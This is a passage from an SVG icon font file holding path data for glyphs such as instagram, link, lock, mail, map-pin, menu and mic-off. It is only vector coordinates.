q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM554.667 213.333v170.667
q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653zM512 554.667zM469.333 554.667q0 -17.6641 12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="instagram" unicode="&#xe880;" 
d="M128 597.547v-427.093v-1.52588e-05q0 -70.5677 49.9428 -120.511t120.511 -49.9428h427.093q70.5677 1.03063e-05 120.51 49.9428q49.9428 49.9428 49.9428 120.511v427.093q0 70.5677 -49.9428 120.51t-120.51 49.9428h-427.093v0q-70.5677 0 -120.511 -49.9428
t-49.9428 -120.51zM42.6667 597.547q7.62939e-06 105.896 74.9455 180.841q74.9455 74.9455 180.841 74.9455h427.093q105.896 0 180.841 -74.9455t74.9455 -180.841v-427.093v-1.52588e-05q0 -105.896 -74.9455 -180.841t-180.841 -74.9455h-427.093v0
q-105.896 0 -180.841 74.9455q-74.9455 74.9455 -74.9455 180.841zM640.427 404.608q-5.95142 46.2252 -43.1484 78.9402q-37.197 32.715 -83.8038 32.715q-52.992 0 -90.496 -37.504t-37.504 -90.496q0 -10.6746 1.76816 -21.2019q6.94067 -44.8958 44.0044 -76.67
t82.4929 -31.7741q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496q0 9.04065 -1.27063 17.9908zM724.907 417.152q2.3078 -15.5626 2.3078 -31.296q0 -88.3304 -62.514 -150.844q-62.514 -62.514 -150.844 -62.514q-76.1981 0 -138.036 53.3443
q-61.8378 53.3443 -73.0148 128.718q-2.30801 15.563 -2.30801 31.296q0 88.3216 62.5079 150.829q62.5078 62.5079 150.829 62.5079q76.1893 0 138.021 -53.3381q61.8315 -53.3381 73.0084 -128.703zM725.333 640zM682.667 640v-0.00653076q0 -17.664 12.5013 -30.1653
t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-17.6639 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-0.00653076z" />
    <glyph glyph-name="layout" unicode="&#xe881;" 
d="M85.3333 682.88q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM853.333 554.667
v128.213q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4388 -30.0145v-128.213h682.667zM853.333 469.333h-426.667v-426.667h384.213q17.6 0 30.0267 12.4267t12.4266 30.0267zM341.333 42.6667v426.667h-170.667v-384.213
q0 -17.6 12.4267 -30.0267t30.0267 -12.4267z" />
    <glyph glyph-name="link-" unicode="&#xe882;" 
d="M640 554.667h128q70.6561 0 120.661 -50.0053t50.0053 -120.661t-50.0053 -120.661q-50.0054 -50.0053 -120.661 -50.0053h-128q-17.6613 -0.00268555 -30.1607 -12.504t-12.4995 -30.1626t12.4994 -30.1626q12.4995 -12.5013 30.1608 -12.504h128
q105.984 0 180.992 75.008q75.008 75.008 75.008 180.992t-75.008 180.992t-180.992 75.008h-128q-17.6613 -0.00268555 -30.1607 -12.504t-12.4995 -30.1627q0 -17.6613 12.4994 -30.1625q12.4995 -12.5013 30.1608 -12.5049zM384 213.333h-128q-70.656 0 -120.661 50.0053
q-50.0053 50.0053 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053h128h0.00653076q17.664 0 30.1653 12.5014q12.5013 12.5013 12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-0.00653076h-128q-106 0 -181 -75t-75 -181t75 -181
t181 -75h128q17.6613 0.00270081 30.1607 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1626t-30.1607 12.505zM341.333 341.333h341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013
t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="life-buoy" unicode="&#xe883;" 
d="M272.299 83.968q43.3875 -34.763 113.441 -59.3657q70.0539 -24.6028 125.65 -24.6028q0.30484 0 0.60968 0.000486063q0.304871 -0.000486082 0.60968 -0.000486082q55.5963 0 125.65 24.6028q70.0538 24.6028 113.441 59.3657l-122.027 122.027
q-22.0755 -14.6259 -56.4403 -24.9771q-34.3647 -10.3512 -60.8457 -10.3512l-0.388672 0.000366211l-0.34613 -0.000274658q-26.481 0 -60.8457 10.3512q-34.3647 10.3512 -56.4402 24.9771l-122.027 -122.027zM211.968 144.299l122.027 122.027
q-14.6259 22.0754 -24.9771 56.4402t-10.3512 60.8458l0.000335693 0.388672q0 64.2685 35.328 117.632l-122.027 122.027q-34.7629 -43.3876 -59.3657 -113.441q-24.6027 -70.0538 -24.6027 -125.65l0.000419617 -0.567108q0 -134.741 83.968 -239.702zM272.299 684.032
l122.027 -122.027q22.0754 14.626 56.4402 24.9772q34.3647 10.3512 60.8458 10.3512l0.388611 -0.000366211q64.2686 0 117.632 -35.328l122.027 122.027q-43.3877 34.7631 -113.441 59.3657q-70.0538 24.6027 -125.65 24.6027l-0.567139 -0.000427246
l-0.609711 0.000488281q-55.5963 0 -125.65 -24.6028q-70.0539 -24.6028 -113.443 -59.3657zM812.032 623.701l-122.027 -122.027q35.328 -53.4309 35.328 -117.675q0 -64.2685 -35.328 -117.632l122.027 -122.027q34.7629 43.3877 59.3657 113.441
q24.6027 70.0537 24.6027 125.65l-0.000427246 0.567108l0.000488281 0.609711q0 55.5963 -24.6028 125.65q-24.6028 70.0538 -59.3657 113.443zM512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397
q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397
t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 256q53 0 90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5z" />
    <glyph glyph-name="link" unicode="&#xe884;" 
d="M392.533 315.776q31.792 -42.4917 91.8505 -72.5644q60.0585 -30.0727 113.127 -30.0727q43.903 0 96.944 21.9718q53.0411 21.9718 84.0837 53.0173l128 128q32.4592 31.2651 55.4315 85.2881q22.9724 54.023 22.9724 99.0908q0 105.984 -75.008 180.992
t-180.992 75.008q-44.8909 0 -98.7665 -22.8196q-53.8756 -22.8197 -85.1093 -55.0633l-73.8133 -73.3867q-13.1054 -12.592 -13.1054 -30.7665q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.0321 0 30.5988 12.9318l73.3867 72.96q20.4918 19.6772 55.1006 33.6033
q34.6089 13.9261 63.0186 13.9261q29.278 0 64.6391 -14.6636q35.361 -14.6636 56.047 -35.3831q20.6947 -20.6948 35.341 -56.0539t14.6463 -64.6259q0 -28.546 -14.0337 -63.2818t-33.863 -55.2704l-127.488 -127.488q-20.6968 -20.7063 -56.064 -35.3607
q-35.3672 -14.6544 -64.6436 -14.6544q-35.4003 0 -75.4534 20.0675t-61.2471 48.4223q-12.8011 17.1179 -34.176 17.1179q-17.6676 0 -30.1714 -12.5038q-12.5038 -12.5038 -12.5038 -30.1714q0 -14.1919 8.49924 -25.5573zM631.467 452.224
q-31.7921 42.4916 -91.8505 72.5643q-60.0585 30.0728 -113.127 30.0728q-43.9029 0 -96.944 -21.9718t-84.0837 -53.0173l-128 -128q-32.4592 -31.2652 -55.4315 -85.2881t-22.9723 -99.0908q0 -105.984 75.008 -180.992q75.008 -75.008 180.992 -75.008
q44.8909 0 98.7665 22.8197q53.8756 22.8197 85.1093 55.0632l73.472 73.472q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2402 0 -29.641 -11.977l-72.96 -72.96q-49.7852 -48.1668 -119.584 -47.4507
t-119.136 50.0533q-20.6947 20.6947 -35.341 56.0538q-14.6463 35.3592 -14.6463 64.6259q0 28.5459 14.0337 63.2818q14.0337 34.7358 33.8629 55.2705l127.488 127.488q20.6962 20.7037 56.0617 35.3564q35.3655 14.6526 64.6397 14.6526q35.3844 0 75.4269 -20.0533
t61.2369 -48.3878q12.801 -17.1179 34.176 -17.1179q17.6676 0 30.1714 12.5039q12.5038 12.5038 12.5038 30.1714q0 14.1919 -8.49927 25.5573z" />
    <glyph glyph-name="log-in" unicode="&#xe885;" 
d="M597.333 -85.3333h213.333q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496v682.667q0 52.992 -37.504 90.496q-37.504 37.504 -90.496 37.504h-213.333q-17.6613 -0.00268555 -30.1607 -12.504q-12.4995 -12.5013 -12.4995 -30.1627q0 -17.6613 12.4995 -30.1626
t30.1607 -12.504h213.333q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-682.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013h-213.333q-17.6613 -0.00270382 -30.1607 -12.504t-12.4995 -30.1626q0 -17.6613 12.4995 -30.1626
q12.4995 -12.5014 30.1608 -12.5042zM439.168 243.499q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l170.667 170.667q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-170.667 170.667
q-12.4007 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.6411l140.501 -140.501zM640 426.667h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h512q17.664 0 30.1653 12.5013
t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" />
    <glyph glyph-name="list" unicode="&#xe886;" 
d="M341.333 597.333h554.667q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-554.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013zM341.333 341.333h554.667
q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-554.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM341.333 85.3333h554.667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653
t-30.1653 12.5013h-554.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM128 640zM85.3333 640q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013
t-30.1653 -12.5013t-12.5013 -30.1653zM128 384zM85.3333 384q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM128 128zM85.3333 128q0 -17.664 12.5013 -30.1653
t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653z" />
    <glyph glyph-name="lock" unicode="&#xe887;" 
d="M256 469.333v128q0 105.984 75.008 180.992t180.992 75.008t180.992 -75.008t75.008 -180.992v-128h42.88q52.7806 -0.0702515 90.222 -37.4742q37.4415 -37.404 37.5646 -90.1844v-299.349q-0.0176392 -52.8507 -37.4341 -90.2547t-90.2672 -37.404
l-0.0853271 2.28882e-05h-597.76q-52.7805 0.0702591 -90.222 37.4743t-37.5646 90.1844v299.349q0.0176392 52.8507 37.4341 90.2547q37.4165 37.404 90.2672 37.404l0.0853271 -3.05176e-05zM170.667 341.675v-299.349q0 -17.386 12.4957 -29.8556t29.9577 -12.4697
h597.76q17.5975 0 30.0254 12.3934t12.4279 29.9319v299.349q-0.122192 17.4532 -12.561 29.8546q-12.4388 12.4013 -29.8923 12.4708h-597.76l-0.0853577 9.15527e-05q-17.5227 0 -29.9366 -12.4014q-12.4138 -12.4013 -12.4315 -29.9241zM341.333 469.461h341.333v127.872
q0 70.656 -50.0053 120.661q-50.0054 50.0054 -120.661 50.0054q-70.6559 0 -120.661 -50.0054q-50.0053 -50.0053 -50.0053 -120.661z" />
    <glyph glyph-name="log-out" unicode="&#xe888;" 
d="M426.667 0h-213.333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1653 12.5013h213.333q17.6613 0.00274658 30.1607 12.5041q12.4994 12.5013 12.4994 30.1626q0 17.6612 -12.4994 30.1625q-12.4994 12.5014 -30.1607 12.5041
h-213.333q-52.992 0 -90.496 -37.504t-37.504 -90.496v-682.667q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h213.333q17.6613 0.00270081 30.1607 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1626q-12.4994 12.5013 -30.1607 12.504v1.81353e-05
v0.000347786zM695.168 243.499q-11.9771 -12.4008 -11.9771 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l170.667 170.667q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-170.667 170.667
q-12.4008 11.9771 -29.6411 11.9771q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653q0 -17.2404 11.977 -29.6411l140.501 -140.501zM896 426.667h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h512
q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" />
    <glyph glyph-name="loader" unicode="&#xe889;" 
d="M469.333 810.667v-170.667q0 -17.6641 12.5013 -30.1654t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1652zM469.333 128v-170.667
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM180.181 655.488l120.747 -120.747
q12.4008 -11.9771 29.641 -11.9771q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.9771 29.6411l-120.747 120.747q-12.4008 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.6411zM662.741 172.928
l120.747 -120.747q12.4008 -11.977 29.6411 -11.977q17.6639 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.2403 -11.977 29.641l-120.747 120.747q-12.4008 11.977 -29.6411 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1654q0 -17.2403 11.977 -29.6409
zM85.3333 341.333h170.667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-170.667q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM768 341.333h170.667
q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-170.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM240.512 52.1813l120.747 120.747q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653
t-30.1653 12.5013q-17.2403 0 -29.641 -11.977l-120.747 -120.747q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.2403 0 29.641 11.977zM723.072 534.741l120.747 120.747q13.0256 12.5806 13.0256 30.6896
q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-120.747 -120.747q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.109 0 30.6896 13.0256z" />
    <glyph glyph-name="mail" unicode="&#xe88a;" 
d="M170.667 768h682.667q52.864 0 90.432 -37.568t37.568 -90.432v-512q0 -52.864 -37.5681 -90.432q-37.568 -37.568 -90.4319 -37.568h-682.667q-52.864 0 -90.432 37.568t-37.568 90.432v512q0 52.864 37.568 90.432t90.432 37.568zM891.435 659.029
q-4.89008 9.72363 -16.0538 16.6494t-22.0476 6.98798h-682.667q-26.1743 0 -38.1013 -23.6373l379.435 -265.6zM896 558.08l-359.552 -251.648q-11.0117 -7.69897 -24.448 -7.69897t-24.448 7.69897l-359.552 251.605v-430.037q0 -17.536 12.5653 -30.1013
t30.1013 -12.5653h682.667q17.5361 0 30.1014 12.5653t12.5653 30.1013z" />
    <glyph glyph-name="maximize-" unicode="&#xe88b;" 
d="M853.333 725.333v-213.333q0 -17.664 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z
M170.667 256q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-256q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h256q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-213.333z
M865.835 798.165l-298.667 -298.667q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013q18.1091 0 30.6896 13.0256l298.667 298.667q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013
q-18.109 0 -30.6896 -13.0255zM158.165 -30.1653l298.667 298.667q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5014 -30.1653 12.5014q-17.2403 0 -29.641 -11.9771l-298.667 -298.667q-11.977 -12.4007 -11.977 -29.641
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977z" />
    <glyph glyph-name="map" unicode="&#xe88c;" 
d="M640 613.632l-256 128v-587.264l256 -128v587.264zM725.333 615.253v-584.405l213.333 121.899v584.405zM319.531 847.36q10.0558 6.00592 21.7686 6.00592q10.5509 0 19.8741 -4.93927l320.171 -160.043l278.827 159.317q9.83563 5.61823 21.1627 5.61823
q17.6583 0 30.1597 -12.4973t12.507 -30.1555v-682.667q-0.0032959 -10.2488 -6.30408 -21.1t-15.2 -15.9347l-298.667 -170.667q-9.83228 -5.61343 -21.1542 -5.61343q-10.0718 0 -19.0804 4.50409l-320.939 160.427l-278.827 -159.317
q-9.83556 -5.61821 -21.1626 -5.61821q-17.6583 0 -30.1596 12.4973t-12.507 30.1556v682.667q0.00330574 10.2489 6.30399 21.1q6.30068 10.8511 15.2 15.9347zM298.667 737.152l-213.333 -121.899v-584.405l213.333 121.899v584.405z" />
    <glyph glyph-name="map-pin" unicode="&#xe88e;" 
d="M545.408 -7.25333q67.8688 53.8593 127.616 116.608q180.309 190.3 180.309 359.979q0 92.6718 -45.696 171.307q-45.6959 78.6348 -124.331 124.331t-171.307 45.696q-92.6718 0 -171.307 -45.696q-78.6348 -45.6959 -124.331 -124.331
q-45.696 -78.6348 -45.696 -171.307q0 -169.611 180.309 -359.979q30.7772 -32.3537 77.9573 -74.0582q47.1801 -41.7045 83.0667 -68.2779q18.1343 13.4887 33.408 25.6853v0.0426688zM734.976 50.6453q-34.5701 -36.3348 -87.7508 -82.9146
q-53.1807 -46.5798 -93.7532 -76.0614q-11.7894 -8.52442 -17.792 -12.5013q-10.7532 -7.17439 -23.68 -7.17439q-12.9268 0 -23.68 7.17439q-7.56363 5.10558 -17.792 12.5013q-40.5725 29.4815 -93.7532 76.0615q-53.1808 46.58 -87.7508 82.9145
q-203.691 214.999 -203.691 418.688q0 115.907 57.0941 214.193q57.0941 98.2858 155.38 155.38q98.2857 57.0941 214.193 57.0941q115.907 0 214.193 -57.0941q98.2858 -57.0941 155.38 -155.38q57.0941 -98.2858 57.0941 -214.193q0 -203.689 -203.691 -418.688z
M512 298.667h-0.0130615q-70.656 0 -120.661 50.0053t-50.0053 120.661q0 70.6559 50.0053 120.661q50.0054 50.0054 120.661 50.0054h0.0130615q70.6506 -0.00537109 120.652 -50.0107q50.0015 -50.0054 50.0015 -120.656q0 -70.6506 -50.0015 -120.656t-120.652 -50.01z
M512 384q35.328 0 60.3307 25.0027q25.0026 25.0027 25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0026z" />
    <glyph glyph-name="menu" unicode="&#xe88f;" 
d="M128 341.333h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5014 30.1653 -12.5013zM128 597.333h768q17.664 0 30.1653 12.5013t12.5013 30.1653
q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013zM128 85.3333h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-768
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="message-circle" unicode="&#xe890;" 
d="M357.717 121.557q6.56958 2.19026 13.4946 2.19026q10.1606 0 19.2307 -4.5796q27.7292 -14.008 69.3408 -23.922q41.6116 -9.91392 72.6782 -9.91392l0.871643 0.00120544q81.8851 0.0490036 165.732 51.9295q83.8464 51.8805 120.434 125.137
q14.008 27.7249 23.9219 69.3304q9.91394 41.6055 9.91394 72.6682l-0.00115967 0.849457l0.0853271 19.1147q-6.70929 121.598 -92.6023 207.919q-85.893 86.3207 -206.15 93.0515h-21.4613l-0.71582 0.000793457q-31.1138 0 -72.7835 -9.93878t-69.434 -23.982
q-73.2444 -36.6072 -125.087 -120.466q-51.843 -83.8589 -51.8513 -165.742l-0.000930786 -0.764587q0 -31.0625 9.91383 -72.6679t23.9218 -69.3301q4.57959 -9.0701 4.57959 -19.2307q0 -6.92509 -2.19026 -13.4946l-54.144 -162.304l162.261 54.1013zM895.744 224.128
q-46.331 -92.7036 -152.467 -158.373q-106.136 -65.6695 -209.773 -65.7549q-0.544922 -0.00148375 -1.08978 -0.00148375q-35.5142 0 -83.5751 10.3015t-80.4551 24.8573l-226.859 -75.6907q-6.57114 -2.19141 -13.4981 -2.19141q-17.664 0 -30.1653 12.5013
t-12.5013 30.1653q0 6.92692 2.19141 13.4981l75.648 226.901q-14.5314 32.6039 -24.8158 80.9413t-10.2843 84.033q0 103.639 65.5902 209.818q65.5902 106.179 158.267 152.568q35.2187 17.7881 88.0679 30.3774q52.8492 12.5892 92.3052 12.5892l1.00287 -0.0012207
l23.68 -0.0853271q154.579 -8.52179 263.833 -118.228q109.254 -109.706 117.82 -265.686v-21.2907l0.00140381 -1.05377q0 -39.4125 -12.5643 -92.2094t-30.3171 -87.9848z" />
    <glyph glyph-name="message-square" unicode="&#xe891;" 
d="M268.501 200.832q12.4938 12.4976 30.1653 12.5013h512q17.6639 0 30.1653 12.5013t12.5014 30.1653v426.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-597.333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-579.669zM158.165 -30.1653
q-20.16 -20.1604 -46.496 -9.25333q-26.336 10.9071 -26.336 39.4187v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h597.333q52.9921 0 90.496 -37.504t37.504 -90.496v-426.667q0 -52.992 -37.504 -90.496t-90.496 -37.504h-494.336z" />
    <glyph glyph-name="minimize-" unicode="&#xe892;" 
d="M384 42.6667q0.00271606 -17.6613 12.504 -30.1607t30.1626 -12.4994q17.6613 0 30.1626 12.4994q12.5013 12.4994 12.5041 30.1607v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-256q-17.6613 -0.00271606 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626
t12.4994 -30.1626q12.4994 -12.5014 30.1607 -12.504h213.333zM640 725.333q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4995 -30.1627 12.4995q-17.6613 0 -30.1625 -12.4995q-12.5013 -12.4994 -12.5041 -30.1607v-256q0 -17.664 12.5014 -30.1653
q12.5013 -12.5013 30.1653 -12.5013h256q17.6613 0.00274658 30.1608 12.5041q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627q-12.4995 12.5013 -30.1608 12.504h-213.333zM627.499 439.168l298.667 298.667q13.0256 12.5806 13.0256 30.6896
q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-298.667 -298.667q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013q18.1091 0 30.6897 13.0256zM158.165 -30.1653l298.667 298.667
q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5014 -30.1653 12.5014q-17.2403 0 -29.641 -11.9771l-298.667 -298.667q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977z" />
    <glyph glyph-name="mic-off" unicode="&#xe893;" 
d="M13.0202 822.68l938.185 -938.185q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185q-12.5741 13.0188 -30.6737 13.0188q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499
q0 -18.0996 13.0188 -30.6738zM341.684 511.672v-127.934q0.0327148 -70.5871 50.0124 -120.544t120.567 -49.9565q29.2308 0 64.554 14.6209t56.0029 35.2798q12.5187 12.5009 12.5187 30.1925q0 17.6647 -12.5019 30.1666t-30.1666 12.5019q-17.6563 0 -30.1499 -12.476
q-10.3383 -10.3207 -27.9937 -17.6249q-17.6554 -7.30423 -32.2635 -7.30423q-35.2495 0 -60.2393 24.9471q-24.9898 24.9471 -25.0501 60.1965v127.934q0 17.6549 -12.4949 30.1499t-30.1499 12.4949q-17.6549 0 -30.1498 -12.4949t-12.4954 -30.1495zM682.842 497.173
v227.723l6.10352e-05 0.128601q0 70.6198 -49.9797 120.599t-120.599 49.9797q-57.7211 0 -106.701 -40.0339q-48.9801 -40.0339 -60.4664 -96.6006q-0.852905 -4.20044 -0.852905 -8.48633q0 -17.6549 12.4949 -30.1498t30.1499 -12.4949q14.4302 0 26.6753 10.0085
q12.2451 10.0084 15.1166 24.15q5.74304 28.2834 30.2332 48.3004q24.4901 20.017 53.3507 20.017q35.3098 0 60.2997 -24.9899t24.9899 -60.2997l-6.10352e-05 -0.0856934v-227.766q0 -17.6549 12.4949 -30.1499t30.1498 -12.4949q17.655 0 30.1499 12.4949
t12.4942 30.1504zM695.038 202.497q-31.1532 -31.8024 -84.7086 -54.31q-53.5554 -22.5075 -98.074 -22.5075q-105.93 0 -180.899 74.9695q-74.9695 74.9695 -74.9695 180.899q0 0.942261 0.00698853 1.89059v85.5881q0 17.6549 -12.4949 30.1499t-30.1499 12.4949
t-30.1499 -12.4949t-12.4949 -30.1499v-85.2896q-0.00694275 -1.08862 -0.00694275 -2.17664q0 -92.6243 45.6725 -171.219q45.6725 -78.5945 124.267 -124.267t171.219 -45.6725q59.3477 0 130.746 30.0008q71.3981 30.0008 112.934 72.3911q11.77 12.3535 11.77 29.4164
q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949q-17.5547 0 -30.0232 -12.3581zM768.132 469.027v-85.2896q0 -22.4051 -4.00861 -44.905q-0.836121 -4.15982 -0.836121 -8.40311q0 -17.6549 12.4949 -30.1499t30.1498 -12.4949q15.0708 0 27.4108 10.5338
t14.7054 25.4178q5.34583 29.7626 5.37323 60.0012v85.2896q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949t-30.1499 -12.4949t-12.4948 -30.1498zM469.618 85.224v-170.579q0 -17.6549 12.4949 -30.1499q12.4949 -12.4949 30.1499 -12.4949
